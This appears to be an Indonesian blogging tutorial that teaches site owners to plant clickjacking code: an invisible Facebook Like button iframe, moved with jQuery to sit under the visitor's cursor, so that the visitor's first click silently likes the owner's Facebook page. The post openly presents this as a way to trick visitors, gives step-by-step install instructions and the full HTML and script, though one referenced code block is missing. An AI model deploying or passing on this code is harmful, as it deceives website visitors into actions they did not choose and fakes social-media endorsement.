ClickJacking dapat kita manfaatkan untuk mengelabuhi pengunjung blog. Pengunjung yang kurang jeli tidak akan melihat adanya tombol Like Facebook tepat pada mouse pengunjung. Jadi saat pengunjung menekan atau meng-klik apa saja dihalaman kecuali link aktif, maka pengunjung tersebut secara tidak sadar juga telah menekan tombol suka akun halaman Facebook kita. Kali ini saya akan menerangkan cara menambahkan kode click jacking pada facebook page likes box. Kode ini sudah dimodifikasi dan disesuaikan untuk penggunaan facebook page likes box.Metode ini disebut cara klick jacking, yaitu facebook page likes box yang disembunyikan pada kursor. Ketika pengunjung membuka blog anda, maka link yang pertama kali diklik sebenarnya adalah facebook page likes box. Hal ini tidak disadari pengunjung karena kotak yang mengikuti kursor tidak kelihatan dan script ini hanya melekat pada klik pertama kursor saja, setelah itu secara otomatis kursor akan kembali normal seperti semula. Script ini sekalian menjadi kode anti copas, jadi untuk blog tutorial tidak cocok menggunakannya. Baiklah sekarang mari kita bahas cara pasang kode auto like facebook page dengan klickjacking. Pastikan anda sudah membuat facebook page atau halaman facebook statis dan pastikan sudah terpasang pada blog. Sekarang mari kita mulai cara pemasangannya, ikuti langkah berikut.
- Log in ke blogger
- Klik Template
- Klik Edit HTML
- Klik Lanjutkan
- Centang Expand Template Widget
- Masukkan kode berikut di atas kode </head>
Selanjutnya masukkan kode berikut di atas kode </body>
<div id='clickjack-button-wrapper-5' style='position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden'> <!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>--> <iframe allowTransparency='true' frameborder='0' scrolling='no' src='http://www.facebook.com/plugins/like.php?href=http://facebook.com/MASUKKAN USERNAME FACEBOOK LIKE PAGE ANDA DISINI&layout=button_count&show_faces=false&width=50&action=like&colorscheme=light&height=21' style='border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;'/> </div> <script type='text/javascript'> jQuery( document ).ready( function() { $( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) { jQuery( "#clickjack-button-wrapper-5" ).css( { top: e.pageY - 10, left: e.pageX + 30 } ); } ); clickjack_hider(); var clickjack_fb_timer = setTimeout("clickjack_hider()",5000); } ); function clickjack_hider(){ jQuery("input").mouseout(function(){ClickJackFbShow();}); jQuery("a").mouseout(function(){ClickJackFbShow();}); jQuery("button").mouseout(function(){ClickJackFbShow();}); jQuery("textarea").mouseout(function(){ClickJackFbShow();}); jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();}); jQuery("input").mouseover(function(){ClickJackFbHide();}); jQuery("a").mouseover(function(){ClickJackFbHide();}); jQuery("button").mouseover(function(){ClickJackFbHide();}); jQuery("textarea").mouseover(function(){ClickJackFbHide();}); jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();}); } </script>
Ganti tulisan merah sesuai petunjuk
Selanjutnya klik Simpan Template
BSelamat mencoba dan sukses selalu.
Sekian dari Saya,
Thanks Udah Mampir..
Semoga Bermanfaat Sobat Master SEO ^_^
Jangan Lupa Tinggalkan Komentar..
Dan Bagikan Artikel ini di Facebook, Twitter, Google+ Anda ya agar terus update.. Terima Kasih..
